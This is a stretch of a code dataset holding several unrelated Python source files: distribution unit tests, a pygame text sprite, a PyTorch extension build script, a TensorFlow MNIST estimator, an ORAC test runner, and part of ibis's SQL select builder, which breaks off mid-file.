self.joint_dist_3d.marginal_icdf(0.48, dim=2)\n        np.testing.assert_allclose(v, 7, atol=0.1)\n        v = self.joint_dist_3d.marginal_icdf(0.0001, dim=2)\n        np.testing.assert_allclose(v, 3, rtol=0.3)        \n        v = self.joint_dist_3d.marginal_icdf(0.9999, dim=2)\n        np.testing.assert_allclose(v, 13, rtol=0.3)       \n        p = np.array([0.0001, 0.48])\n        v = self.joint_dist_3d.marginal_icdf(p, dim=2)\n        np.testing.assert_allclose(v, [3, 7], rtol=0.3)   \n        \n    def test_latex_representation(self):\n        \"\"\"\n        Tests if the latex representation is correct.\n        \"\"\"\n        m = self.joint_dist_2d\n        computed_latex = m.latex_repr(['Hs', 'Tp'])\n        correct_latex = \\\n        ['\\\\text{ joint PDF: }',\n         'f(h_{s},t_{p})=f_{H_{s}}(h_{s})f_{T_{p}|H_{s}}(t_{p}|h_{s})', '',\n         '1\\\\text{. variable, }H_{s}: ',\n         'f_{H_{s}}(h_{s})=\\\\dfrac{\\\\beta_{h_{s}}}{\\\\alpha_{h_{s}}}'\n         '\\\\left(\\\\dfrac{h_{s}-\\\\gamma_{h_{s}}}{\\\\alpha_{h_{s}}}\\\\right)^'\n         '{\\\\beta_{h_{s}}-1}\\\\exp\\\\left[-\\\\left(\\\\dfrac{h_{s}-'\n         '\\\\gamma_{h_{s}}}{\\\\alpha_{h_{s}}}\\\\right)^{\\\\beta_{h_{s}}}'\n         '\\\\right]', '\\\\quad\\\\text{ with }\\\\alpha_{h_{s}}=2.776,',\n         '\\\\quad\\\\qquad\\\\;\\\\; \\\\beta_{h_{s}}=1.471,',\n         '\\\\quad\\\\qquad\\\\;\\\\; \\\\gamma_{h_{s}}=0.8888.', '',\n         '2\\\\text{. variable, }T_{p}: ',\n         'f_{T_{p}|H_{s}}(t_{p}|h_{s})=\\\\dfrac{1}'\n         '{t_{p}\\\\tilde{\\\\sigma}_{t_{p}}\\\\sqrt{2\\\\pi}}\\\\exp\\\\left[-'\n         '\\\\dfrac{(\\\\ln t_{p}-\\\\tilde{\\\\mu}_{t_{p}})^2}'\n         '{2\\\\tilde{\\\\sigma}_{t_{p}}^2}\\\\right]',\n         '\\\\quad\\\\text{ with }\\\\tilde{\\\\mu}_{t_{p}}=0.1 + 1.489h_{s}^(0.1901),',\n         '\\\\quad\\\\qquad\\\\;\\\\; \\\\tilde{\\\\sigma}_{t_{p}}=0.04 + 0.1748e^{-0.2243h_{s}}.']\n\n        self.assertEqual(computed_latex, correct_latex)\n\n\nclass ParametricDistributionTest(unittest.TestCase):\n\n    def test_distribution_shape_None(self):\n        \"\"\"\n        Tests if shape is set to default when it has value 'None'.\n        \"\"\"\n\n        # Define parameters.\n        shape = None\n        loc = ConstantParam(0.8888)\n        scale = ConstantParam(2.776)\n        par1 = (shape, loc, scale)\n        rv_values = [0.8, 1, 8]\n        dependencies = (0, 1, 1)\n\n        dist = NormalDistribution(*par1)\n        shape_test = dist._get_parameter_values(rv_values, dependencies)[0]\n        self.assertEqual(shape_test, 1)\n\n\n    def test_distribution_loc_None(self):\n        \"\"\"\n        Tests if loc is set to default when it has value 'None'.\n        \"\"\"\n\n        # Define parameters.\n        shape = ConstantParam(0.8888)\n        loc = None\n        scale = ConstantParam(2.776)\n        par1 = (shape, loc, scale)\n        rv_values = [0.8, 1, 8]\n        dependencies = (0, 1, 1)\n\n        dist = WeibullDistribution(*par1)\n        loc_test = dist._get_parameter_values(rv_values, dependencies)[1]\n        self.assertEqual(loc_test, 0)\n\n\n    def test_distribution_loc_scale(self):\n        \"\"\"\n        Tests if scale is set to default when it has value 'None'.\n        \"\"\"\n\n        # Define parameters.\n        shape = ConstantParam(0.8888)\n        loc = ConstantParam(2.776)\n        scale = None\n        par1 = (shape, loc, scale)\n        rv_values = [0.8, 1, 8]\n        dependencies = (0, 1, 1)\n\n        dist = NormalDistribution(*par1)\n        scale_test = dist._get_parameter_values(rv_values, dependencies)[2]\n        self.assertEqual(scale_test, 1)\n\n    def test_create_distribution_with_number(self):\n        \"\"\"\n        Tests if creating a ParametricDistribution with floats/ints works.\n        \"\"\"\n        shape = ConstantParam(2)\n        loc = ConstantParam(3)\n        dist0 = NormalDistribution(shape=shape, loc=loc)\n        median_const_par = dist0.i_cdf(0.5)\n\n        dist1 = NormalDistribution(shape=2, loc=3)\n        median_ints = dist1.i_cdf(0.5)\n\n        dist2 = NormalDistribution(shape=2.0, loc=3.0)\n        median_floats = dist2.i_cdf(0.5)\n\n        self.assertEqual(median_const_par, 3)\n        self.assertEqual(median_const_par, median_ints)\n        self.assertEqual(median_const_par, median_floats)\n\n    def test_check_parameter_value(self):\n        \"\"\"\n        Tests if the right exception is raised when the given parameters are\n        not in the valid range of numbers.\n        \"\"\"\n\n        shape = None\n        loc = ConstantParam(0.8888)\n        scale = ConstantParam(-2.776)\n        par1 = (shape, loc, scale)\n\n        dist = WeibullDistribution(*par1)\n\n        with self.assertRaises(ValueError):\n            dist._check_parameter_value(2, -2.776)\n        with self.assertRaises(ValueError):\n            dist._check_parameter_value(2, np.inf)\n\n    def test_parameter_name_to_index(self):\n        dist = ExponentiatedWeibullDistribution()\n        self.assertEqual(dist.param_name_to_index('shape'), 0)\n        self.assertEqual(dist.param_name_to_index('loc'), 1)\n        self.assertEqual(dist.param_name_to_index('scale'), 2)\n        self.assertEqual(dist.param_name_to_index('shape2'), 3)\n        self.assertRaises(ValueError, dist.param_name_to_index, 'something')\n\n    def test_exponentiated_weibull_distribution_cdf(self):\n        \"\"\"\n        Tests the CDF of the exponentiated Weibull distribution.\n        \"\"\"\n\n        # Define parameters with the values from the distribution fitted to\n        # dataset A with the MLE in https://arxiv.org/pdf/1911.12835.pdf .\n        shape = ConstantParam(0.4743)\n        loc = None\n        scale = ConstantParam(0.0373)\n        shape2 = ConstantParam(46.6078)\n        params = (shape, loc, scale, shape2)\n        dist = ExponentiatedWeibullDistribution(*params)\n        dist_with_floats = ExponentiatedWeibullDistribution(\n            shape=0.4743, scale=0.0373, shape2=46.6078)\n\n        # CDF(1) should be roughly 0.7, see Figure 12 in\n        # https://arxiv.org/pdf/1911.12835.pdf .\n        p = dist.cdf(1)\n        self.assertAlmostEqual(p, 0.7, delta=0.1)\n        p_with_floats = dist_with_floats.cdf(1)\n        self.assertEqual(p, p_with_floats)\n\n        # CDF(4) should be roughly 0.993, see Figure 12 in\n        # https://arxiv.org/pdf/1911.12835.pdf .\n        ps = dist.cdf(np.array((0.5, 1, 2, 4)))\n        self.assertGreater(ps[-1], 0.99)\n        self.assertLess(ps[-1], 0.999)\n\n        p = dist.cdf(-1)\n        self.assertEqual(p, 0) # CDF(negative value) should be 0\n\n\n    def test_exponentiated_weibull_distribution_icdf(self):\n        \"\"\"\n        Tests the ICDF of the exponentiated Weibull distribution.\n        \"\"\"\n\n        # Define parameters with the values from the distribution fitted to\n        # dataset A with the MLE in https://arxiv.org/pdf/1911.12835.pdf .\n        shape = ConstantParam(0.4743)\n        loc = None\n        scale = ConstantParam(0.0373)\n        shape2 = ConstantParam(46.6078)\n        params = (shape, loc, scale, shape2)\n        dist = ExponentiatedWeibullDistribution(*params)\n\n        # ICDF(0.5) should be roughly 0.8, see Figure 12 in\n        # https://arxiv.org/pdf/1911.12835.pdf .\n        x = dist.i_cdf(0.5)\n        self.assertGreater(x, 0.5)\n        self.assertLess(x, 1)\n        x = dist.ppf(0.5)\n        self.assertGreater(x, 0.5)\n        self.assertLess(x, 1)\n\n        # ICDF(0.9) should be roughly 1.8, see Figure 12\n        # in https://arxiv.org/pdf/1911.12835.pdf .\n        xs = dist.i_cdf(np.array((0.1, 0.2, 0.5, 0.9)))\n        self.assertGreater(xs[-1], 1)\n        self.assertLess(xs[-1], 2)\n\n        p = dist.i_cdf(5)\n        self.assertTrue(np.isnan(p)) # ICDF(value greater than 1) should be nan.\n\n\n    def test_exponentiated_weibull_distribution_pdf(self):\n        \"\"\"\n        Tests the PDF of the exponentiated Weibull distribution.\n        \"\"\"\n\n        # Define parameters with the values from the distribution fitted to\n        # dataset A with the MLE in https://arxiv.org/pdf/1911.12835.pdf .\n        shape = ConstantParam(0.4743)\n        loc = None\n        scale = ConstantParam(0.0373)\n        shape2 = ConstantParam(46.6078)\n        params = (shape, loc, scale, shape2)\n        dist = ExponentiatedWeibullDistribution(*params)\n\n        # PDF(0.7) should be roughly 1.1, see Figure 3 in\n        # https://arxiv.org/pdf/1911.12835.pdf .\n        x = dist.pdf(0.7)\n        self.assertGreater(x, 0.6)\n        self.assertLess(x, 1.5)\n\n        # PDF(2) should be roughly 0.1, see Figure 12\n        # in https://arxiv.org/pdf/1911.12835.pdf .\n        xs = dist.pdf(np.array((0.1, 0.5, 2)))\n        self.assertGreater(xs[-1], 0.05)\n        self.assertLess(xs[-1], 0.2)\n\n        p = dist.pdf(-1)\n        self.assertEqual(p, 0) # PDF(value less than 0) should be 0.\n\n    def test_fitting_exponentiated_weibull(self):\n        \"\"\"\n        Tests estimating the parameters of the  exponentiated Weibull distribution.\n        \"\"\"\n\n        dist = ExponentiatedWeibullDistribution()\n\n        # Draw 1000 samples from a Weibull distribution with shape=1.5 and scale=3,\n        # which represents significant wave height.\n        hs = sts.weibull_min.rvs(1.5, loc=0, scale=3, size=1000, random_state=42)\n\n        params = dist.fit(hs)\n        self.assertGreater(params[0], 1) # shape parameter should be about 1.5.\n        self.assertLess(params[0], 2)\n        self.assertIsNone(params[1], 2) # location parameter should be None.\n        self.assertGreater(params[2], 2) # scale parameter should be about 3.\n        self.assertLess(params[2], 4)\n        self.assertGreater(params[3], 0.5) # shape2 parameter should be about 1.\n        self.assertLess(params[3], 2)\n\n\n        params = dist.fit(hs, shape2=1)\n        self.assertGreater(params[0], 1) # shape parameter should be about 1.5.\n        self.assertLess(params[0], 2)\n        self.assertIsNone(params[1], 2) # location parameter should be None.\n        self.assertGreater(params[2], 2) # scale parameter should be about 3.\n        self.assertLess(params[2], 4)\n\n        # Check whether the fitted distribution has a working CDF and PDF.\n        self.assertGreater(dist.cdf(2), 0)\n        self.assertGreater(dist.pdf(2), 0)\n\n        self.assertRaises(NotImplementedError, dist.fit, hs, method='MLE')\n\n    def test_fit_exponentiated_weibull_with_zero(self):\n        \"\"\"\n        Tests fitting the exponentiated Weibull distribution if the dataset\n        contains 0s.\n        \"\"\"\n\n        dist = ExponentiatedWeibullDistribution()\n\n        # Draw 1000 samples from a Weibull distribution with shape=1.5 and scale=3,\n        # which represents significant wave height.\n        hs = sts.weibull_min.rvs(1.5, loc=0, scale=3, size=1000, random_state=42)\n\n        # Add zero-elements to the dataset.\n        hs = np.append(hs, [0, 0, 1.3])\n\n        params = dist.fit(hs)\n\n        self.assertAlmostEqual(params[0], 1.5, delta=0.5)\n        self.assertIsNone(params[1], 2) # location parameter should be None.\n        self.assertAlmostEqual(params[2], 3, delta=1)\n        self.assertAlmostEqual(params[3], 1, delta=0.5)\n\n    def test_exponentiated_weibull_name(self):\n        \"\"\"\n        Tests whether the __str__ return the correct string.\n        \"\"\"\n        dist = ExponentiatedWeibullDistribution(\n            shape=ConstantParam(2), loc=None, scale=ConstantParam(3), shape2=ConstantParam(4))\n        string_of_dist = str(dist)\n        s = 'ExponentiatedWeibullDistribution with shape=2.0, loc=None, ' \\\n                    'scale=3.0, shape2=4.0'\n        self.assertEqual(string_of_dist, s)\n\n    def test_mae(self):\n        \"\"\"\n        Tests the mean_absolute_error function.\n        \"\"\"\n        dist = NormalDistribution(\n            scale=ConstantParam(1), \n            loc=ConstantParam(2))\n        sample = np.array([1, 2, 3])\n        mae = dist.mean_absolute_error(sample)\n        ae1 = np.abs(dist.i_cdf(0.5 / 3) - sample[0])\n        ae2 = np.abs(dist.i_cdf(1.5 / 3) - sample[1])\n        ae3 = np.abs(dist.i_cdf(2.5 / 3) - sample[2])\n        mae_check = (ae1 + ae2 + ae3) / 3\n        self.assertAlmostEqual(mae, mae_check, delta=1E-5)\n\n        # Suppose these observations were some selected vary high quantiles.\n        mae_higher = dist.mean_absolute_error(sample, [0.99, 0.999, 0.999])\n        self.assertGreater(mae_higher, mae_check)\n\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"tests/test_distributions.py","file_name":"test_distributions.py","file_ext":"py","file_size_in_byte":21479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"462025793","text":"\nimport pygame \n\nimport config.config as config\n\n\nclass TextHandler:\n    def __init__(self):\n        self.font = {}\n        self.font[11] = pygame.font.Font(config.fonts[\"font_name\"], 11)\n        self.font[22] = pygame.font.Font(config.fonts[\"font_name\"], 22)\n\n    \n    def create_float_text(self, text, x, y, group):\n        group.add(FloatText(self.get_text_surface(text), x, y))\n\n\n    def get_text_surface(self, text, size=config.fonts[\"default_size\"],\n                        color=config.fonts[\"default_color\"],\n                        antialiazed=config.fonts[\"default_antialiazed\"]):\n        return self.font[size].render(text, antialiazed, color)\n\n\nclass FloatText(pygame.sprite.Sprite):\n    def __init__(self, rendered_text, x, y, lifetime=30, decrease_lifetime=1, dy=2):\n        super().__init__()\n\n        self.lifetime = lifetime\n        self.decrease_lifetime = decrease_lifetime\n        self.dy = dy\n\n        self.image = rendered_text\n        self.rect = self.image.get_rect()\n        self.rect.x, self.rect.y = x, y\n\n\n    def update(self):\n        self.lifetime -= self.decrease_lifetime\n        self.rect.y -= self.dy\n        if self.lifetime < 0:\n            self.kill()\n","sub_path":"src/graphics/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"593723469","text":"import os\nimport torch\nfrom torch.utils.ffi import create_extension\n\n\nsources = ['src/nms.c']\nheaders = ['src/nms.h']\ndefines = []\nwith_cuda = False\n\nthis_file = os.path.dirname(os.path.realpath(__file__))\nprint(this_file)\n\nffi = create_extension(\n    '_ext.nms',\n    headers=headers,\n    sources=sources,\n    define_macros=defines,\n    relative_to=__file__,\n    with_cuda=with_cuda,\n    # extra_objects=extra_objects,\n    extra_compile_args=['-std=c99']\n)\n\nif __name__ == '__main__':\n    ffi.build()\n","sub_path":"mylib/nms/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"418924181","text":"\"\"\"\nTrains a simple DNN on the MNIST dataset using the TensorFlow Estimator API.\n\"\"\"\nimport os\nfrom typing import Any, Callable, Dict, List, Tuple\n\nimport tensorflow as tf\n\nimport pedl\nfrom pedl import get_download_data_dir\nfrom pedl.frameworks.tensorflow import EstimatorTrial, wrap_dataset, wrap_optimizer\n\nIMAGE_SIZE = 28\nNUM_CLASSES = 10\n\n\ndef parse_mnist_tfrecord(serialized_example: tf.Tensor) -> Tuple[Dict[str, tf.Tensor], tf.Tensor]:\n    \"\"\"\n    Parse a TFRecord representing a single MNIST data point into an input\n    feature tensor and a label tensor.\n\n    Returns: (features: Dict[str, Tensor], label: Tensor)\n    \"\"\"\n    raw = tf.io.parse_example(\n        serialized=serialized_example, features={\"image_raw\": tf.io.FixedLenFeature([], tf.string)}\n    )\n    image = tf.io.decode_raw(raw[\"image_raw\"], tf.float32)\n\n    label_dict = tf.io.parse_example(\n        serialized=serialized_example, features={\"label\": tf.io.FixedLenFeature(1, tf.int64)}\n    )\n    return {\"image\": image}, label_dict[\"label\"]\n\n\nclass MNistTrial(EstimatorTrial):\n    def build_estimator(self, hparams: Dict[str, Any]) -> tf.estimator.Estimator:\n        optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=hparams[\"learning_rate\"])\n        # Call `wrap_optimizer` immediately after creating your optimizer.\n        optimizer = wrap_optimizer(optimizer)\n        return tf.compat.v1.estimator.DNNClassifier(\n            feature_columns=[\n                tf.feature_column.numeric_column(\n                    \"image\", shape=(IMAGE_SIZE, IMAGE_SIZE, 1), dtype=tf.float32\n                )\n            ],\n            n_classes=NUM_CLASSES,\n            hidden_units=[\n                hparams[\"hidden_layer_1\"],\n                hparams[\"hidden_layer_2\"],\n                hparams[\"hidden_layer_3\"],\n            ],\n            config=tf.estimator.RunConfig(tf_random_seed=pedl.get_trial_seed()),\n            optimizer=optimizer,\n            dropout=hparams[\"dropout\"],\n        )\n\n    def _input_fn(\n        self, hparams: Dict[str, Any], files: List[str], shuffle_and_repeat: bool = False\n    ) -> Callable:\n        def _fn() -> tf.data.TFRecordDataset:\n            dataset = tf.data.TFRecordDataset(files)\n            # Call `wrap_dataset` immediately after creating your dataset.\n            dataset = wrap_dataset(dataset)\n            if shuffle_and_repeat:\n                dataset = dataset.apply(tf.data.experimental.shuffle_and_repeat(1000))\n            dataset = dataset.batch(hparams[\"batch_size\"])\n            dataset = dataset.map(parse_mnist_tfrecord)\n            return dataset\n\n        return _fn\n\n    @staticmethod\n    def _get_filenames(directory: str) -> List[str]:\n        return [os.path.join(directory, path) for path in tf.io.gfile.listdir(directory)]\n\n    def build_train_spec(self, hparams: Dict[str, Any]) -> tf.estimator.TrainSpec:\n        download_data_dir = get_download_data_dir()\n        train_files = self._get_filenames(os.path.join(download_data_dir, \"train\"))\n        return tf.estimator.TrainSpec(self._input_fn(hparams, train_files, shuffle_and_repeat=True))\n\n    def build_validation_spec(self, hparams: Dict[str, Any]) -> tf.estimator.EvalSpec:\n        download_data_dir = get_download_data_dir()\n        val_files = self._get_filenames(os.path.join(download_data_dir, \"validation\"))\n        return tf.estimator.EvalSpec(self._input_fn(hparams, val_files, shuffle_and_repeat=False))\n","sub_path":"mnist_estimator/model_def.py","file_name":"model_def.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"8326394","text":"#!/usr/bin/env python2.7\n# Run ORAC regression tests.\n# 29 Feb 2016, AP: Finalised initial version.\n# 27 Jun 2016, AP: P2.7 rewrite\n# 08 Jul 2016, AP: Debugging against more awkward python environments\n\nfrom colours import cprint\n\nimport argparse\nimport glob\nimport local_defaults as defaults\nimport orac_utils as ou\nimport os\nimport subprocess\nimport tempfile\nimport warnings\n\nwarnings.filterwarnings('always', category=ou.OracWarning)\n\n# First lets define parser that will hold all of the processing variables\n# and that can be updated at a later stage.\n\nparser = argparse.ArgumentParser(\n    description='Run the full ORAC suite on a given Level 1B file.')\n#parser.add_argument('-A', '--all_phases', action='store_true',\n#                     help = 'Sets phases to run all possible tests.')\n\nou.args_common(parser)\nou.args_preproc(parser)\nou.args_main(parser)\nou.args_postproc(parser)\nou.args_cc4cl(parser)\nargs = parser.parse_args()\n\n\ntarget = 'MYD021KM.A2008172.0405.005.2009317014309.hdf'\nlimit = (800, 900, 1000, 1100)\n\n\nargs.target = target\nargs.limit = limit\n\nargs.in_dir = [ defaults.data_dir + '/testinput' ]\nbase_out_dir = args.out_dir\nbase_out_dir = defaults.data_dir +'/testoutput'\nargs.out_dir = base_out_dir + '/modis_testing'\n\n\ntry:\n    # Run ORAC suite\n    ou.check_args_cc4cl(args)\n    (fileroot, dirs, jid) = ou.cc4cl(args)\n\nexcept ou.OracError as err:\n    cprint('ERROR) ' + err.message, ou.colouring['error'])\nexcept KeyboardInterrupt:\n    cprint('Execution halted by user.', ou.colouring['error'])\nexcept subprocess.CalledProcessError as err:\n    cprint('{:s} failed with error code {:d}. {:s}'.format(\n        ' '.join(err.cmd), err.returncode, err.output))\n","sub_path":"src/orac/old_py_scripts/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"423606424","text":"import toolz\n\nimport ibis.common.exceptions as com\nimport ibis.expr.analysis as L\nimport ibis.expr.datatypes as dt\nimport ibis.expr.operations as ops\nimport ibis.expr.types as ir\nimport ibis.util as util\n\nfrom .extract_subqueries import ExtractSubqueries\n\n\nclass _AnyToExistsTransform:\n\n    \"\"\"\n    Some code duplication with the correlated ref check; should investigate\n    better code reuse.\n    \"\"\"\n\n    def __init__(self, context, expr, parent_table):\n        self.context = context\n        self.expr = expr\n        self.parent_table = parent_table\n        self.query_roots = frozenset(self.parent_table.op().root_tables())\n\n    def get_result(self):\n        self.foreign_table = None\n        self.predicates = []\n\n        self._visit(self.expr)\n\n        if type(self.expr.op()) == ops.Any:\n            op = ops.ExistsSubquery(self.foreign_table, self.predicates)\n        else:\n            op = ops.NotExistsSubquery(self.foreign_table, self.predicates)\n\n        expr_type = dt.boolean.column_type()\n        return expr_type(op)\n\n    def _visit(self, expr):\n        node = expr.op()\n\n        for arg in node.flat_args():\n            if isinstance(arg, ir.TableExpr):\n                self._visit_table(arg)\n            elif isinstance(arg, ir.BooleanColumn):\n                for sub_expr in L.flatten_predicate(arg):\n                    self.predicates.append(sub_expr)\n                    self._visit(sub_expr)\n            elif isinstance(arg, ir.Expr):\n                self._visit(arg)\n            else:\n                continue\n\n    def _find_blocking_table(self, expr):\n        node = expr.op()\n\n        if node.blocks():\n            return expr\n\n        for arg in node.flat_args():\n            if isinstance(arg, ir.Expr):\n                result = self._find_blocking_table(arg)\n                if result is not None:\n                    return result\n\n    def _visit_table(self, expr):\n        node = expr.op()\n\n        if isinstance(expr, ir.TableExpr):\n            base_table = self._find_blocking_table(expr)\n            if base_table is not None:\n                base_node = base_table.op()\n                if self._is_root(base_node):\n                    pass\n                else:\n                    # Foreign ref\n                    self.foreign_table = expr\n        else:\n            if not node.blocks():\n                for arg in node.flat_args():\n                    if isinstance(arg, ir.Expr):\n                        self._visit(arg)\n\n    def _is_root(self, what):\n        if isinstance(what, ir.Expr):\n            what = what.op()\n        return what in self.query_roots\n\n\nclass _CorrelatedRefCheck:\n    def __init__(self, query, expr):\n        self.query = query\n        self.ctx = query.context\n        self.expr = expr\n        self.query_roots = frozenset(self.query.table_set.op().root_tables())\n\n        # aliasing required\n        self.foreign_refs = []\n\n        self.has_foreign_root = False\n        self.has_query_root = False\n\n    def get_result(self):\n        self.visit(self.expr)\n        return self.has_query_root and self.has_foreign_root\n\n    def visit(\n        self, expr, in_subquery=False, visit_cache=None, visit_table_cache=None\n    ):\n        if visit_cache is None:\n            visit_cache = set()\n\n        node = expr.op()\n        key = node, in_subquery\n        if key in visit_cache:\n            return\n\n        visit_cache.add(key)\n\n        in_subquery = in_subquery or self.is_subquery(node)\n\n        for arg in node.flat_args():\n            if isinstance(arg, ir.TableExpr):\n                self.visit_table(\n                    arg,\n                    in_subquery=in_subquery,\n                    visit_cache=visit_cache,\n                    visit_table_cache=visit_table_cache,\n                )\n            elif isinstance(arg, ir.Expr):\n                self.visit(\n                    arg,\n                    in_subquery=in_subquery,\n                    visit_cache=visit_cache,\n                    visit_table_cache=visit_table_cache,\n                )\n\n    def is_subquery(self, node):\n        # XXX\n        if isinstance(\n            node,\n            (\n                ops.TableArrayView,\n                ops.ExistsSubquery,\n                ops.NotExistsSubquery,\n            ),\n        ):\n            return True\n\n        if isinstance(node, ops.TableColumn):\n            return not self.is_root(node.table)\n\n        return False\n\n    def visit_table(\n        self, expr, in_subquery=False, visit_cache=None, visit_table_cache=None\n    ):\n        if visit_table_cache is None:\n            visit_table_cache = set()\n\n        key = expr._key, in_subquery\n        if key in visit_table_cache:\n            return\n        visit_table_cache.add(key)\n\n        node = expr.op()\n\n        if isinstance(node, (ops.PhysicalTable, ops.SelfReference)):\n            self.ref_check(node, in_subquery=in_subquery)\n\n        for arg in node.flat_args():\n            if isinstance(arg, ir.Expr):\n                self.visit(\n                    arg,\n                    in_subquery=in_subquery,\n                    visit_cache=visit_cache,\n                    visit_table_cache=visit_table_cache,\n                )\n\n    def ref_check(self, node, in_subquery=False):\n        ctx = self.ctx\n        is_aliased = ctx.has_ref(node)\n\n        if self.is_root(node):\n            if in_subquery:\n                self.has_query_root = True\n        else:\n            if in_subquery:\n                self.has_foreign_root = True\n                if not is_aliased and ctx.has_ref(node, parent_contexts=True):\n                    ctx.make_alias(node)\n            elif not ctx.has_ref(node):\n                ctx.make_alias(node)\n\n    def is_root(self, what):\n        if isinstance(what, ir.Expr):\n            what = what.op()\n        return what in self.query_roots\n\n\nclass SelectBuilder:\n\n    \"\"\"\n    Transforms expression IR to a query pipeline (potentially multiple\n    queries). There will typically be a primary SELECT query, perhaps with some\n    subqueries and other DDL to ingest and tear down intermediate data sources.\n\n    Walks the expression tree and catalogues distinct query units, builds\n    select statements (and other DDL types, where necessary), and records\n    relevant query unit aliases to be used when actually generating SQL.\n    \"\"\"\n\n    def to_select(\n        self,\n        select_class,\n        table_set_formatter_class,\n        expr,\n        context,\n        translator_class,\n    ):\n        self.select_class = select_class\n        self.table_set_formatter_class = table_set_formatter_class\n        self.expr = expr\n        self.context = context\n        self.translator_class = translator_class\n\n        self.query_expr, self.result_handler = self._adapt_expr(self.expr)\n\n        self.sub_memo = {}\n\n        self.queries = []\n\n        self.table_set = None\n        self.select_set = None\n        self.group_by = None\n        self.having = None\n        self.filters = []\n        self.limit = None\n        self.sort_by = []\n        self.subqueries = []\n        self.distinct = False\n\n        self.op_memo = set()\n\n        # make idempotent\n        if self.queries:\n            return self._wrap_result()\n\n        select_query = self._build_result_query()\n\n        self.queries.append(select_query)\n\n        return select_query\n\n    @staticmethod\n    def _foreign_ref_check(query, expr):\n        checker = _CorrelatedRefCheck(query, expr)\n        return checker.get_result()\n\n    @staticmethod\n    def _adapt_expr(expr):\n        # Non-table expressions need to be adapted to some well-formed table\n        # expression, along with a way to adapt the results to the desired\n        # arity (whether array-like or scalar, for example)\n        #\n        # Canonical case is scalar values or arrays produced by some reductions\n        # (simple reductions, or distinct, say)\n\n        if isinstance(expr, ir.TableExpr):\n            return expr, toolz.identity\n\n        def _get_scalar(field):\n            def scalar_handler(results):\n                return results[field][0]\n\n            return scalar_handler\n\n        if isinstance(expr, ir.ScalarExpr):\n\n            if L.is_scalar_reduction(expr):\n                table_expr, name = L.reduction_to_aggregation(\n                    expr, default_name='tmp'\n                )\n                return table_expr, _get_scalar(name)\n            else:\n                base_table = ir.find_base_table(expr)\n                if base_table is None:\n                    # exprs with no table refs\n                    # TODO(phillipc): remove ScalarParameter hack\n                    if isinstance(expr.op(), ops.ScalarParameter):\n                        name = expr.get_name()\n                        assert (\n                            name is not None\n                        ), f'scalar parameter {expr} has no name'\n                        return expr, _get_scalar(name)\n                    return expr.name('tmp'), _get_scalar('tmp')\n\n                raise NotImplementedError(repr(expr))\n\n        elif isinstance(expr, ir.AnalyticExpr):\n            return expr.to_aggregation(), toolz.identity\n\n        elif isinstance(expr, ir.ColumnExpr):\n            op = expr.op()\n\n            def _get_column(name):\n                def column_handler(results):\n                    return results[name]\n\n                return column_handler\n\n            if isinstance(op, ops.TableColumn):\n                table_expr = op.table[[op.name]]\n                result_handler = _get_column(op.name)\n            else:\n                # Something more complicated.\n                base_table = L.find_source_table(expr)\n\n                if isinstance(op, ops.DistinctColumn):\n                    expr = op.arg\n                    try:\n                        name = op.arg.get_name()\n                    except Exception:\n                        name = 'tmp'\n\n                    table_expr = base_table.projection(\n                        [expr.name(name)]\n                    ).distinct()\n                    result_handler = _get_column(name)\n                else:\n                    table_expr = base_table.projection([expr.name('tmp')])\n                    result_handler = _get_column('tmp')\n\n            return table_expr, result_handler\n        else:\n            raise com.TranslationError(\n                f'Do not know how to execute: {type(expr)}'\n            )\n\n    @staticmethod\n    def _get_subtables(expr):\n        subtables = []\n\n        stack = [expr]\n        seen = set()\n\n        while stack:\n            e = stack.pop()\n            op = e.op()\n\n            if op not in seen:\n                seen.add(op)\n\n                if isinstance(op, ops.Join):\n                    stack.append(op.right)\n                    stack.append(op.left)\n                else:\n                    subtables.append(e)\n\n        return subtables\n\n    @classmethod\n    def _blocking_base(cls, expr):\n        node = expr.op()\n        if node.blocks() or isinstance(node, ops.Join):\n            return expr\n        else:\n            for arg in expr.op().flat_args():\n                if isinstance(arg, ir.TableExpr):\n                    return cls._blocking_base(arg)\n\n    @classmethod\n    def _all_distinct_roots(cls, subtables):\n        bases = []\n        for t in subtables:\n            base = cls._blocking_base(t)\n            for x in bases:\n                if base.equals(x):\n                    return False\n            bases.append(base)\n        return True\n\n    def _build_result_query(self):\n        self._collect_elements()\n\n        self._analyze_select_exprs()\n        self._analyze_filter_exprs()\n        self._analyze_subqueries()\n        self._populate_context()\n\n        return self.select_class(\n            self.table_set,\n            self.select_set,\n            translator_class=self.translator_class,\n            table_set_formatter_class=self.table_set_formatter_class,\n            context=self.context,\n            subqueries=self.subqueries,\n            where=self.filters,\n            group_by=self.group_by,\n            having=self.having,\n            limit=self.limit,\n            order_by=self.sort_by,\n            distinct=self.distinct,\n            result_handler=self.result_handler,\n            parent_expr=self.query_expr,\n        )\n\n    def _populate_context(self):\n        # Populate aliases for the distinct relations used to output this\n        # select statement.\n        if self.table_set is not None:\n            self._make_table_aliases(self.table_set)\n\n        # XXX: This is a temporary solution to the table-aliasing / correlated\n        # subquery problem. Will need to revisit and come up with a cleaner\n        # design (also as one way to avoid pathological naming conflicts; for\n        # example, we could define a table alias before we know that it\n        # conflicts with the name of a table used in a subquery, join, or\n        # another part of the query structure)\n\n        # There may be correlated subqueries inside the filters, requiring that\n        # we use an explicit alias when outputting as SQL. For now, we're just\n        # going to see if any table nodes appearing in the where stack have\n        # been marked previously by the above code.\n        for expr in self.filters:\n            needs_alias = self._foreign_ref_check(self, expr)\n            if needs_alias:\n                self.context.set_always_alias()\n\n    def _make_table_aliases(self, expr):\n        ctx = self.context\n        node = expr.op()\n        if isinstance(node, ops.Join):\n            for arg in node.args:\n                if isinstance(arg, ir.TableExpr):\n                    self._make_table_aliases(arg)\n        else:\n            if not ctx.is_extracted(expr):\n                ctx.make_alias(expr)\n            else:\n                # The 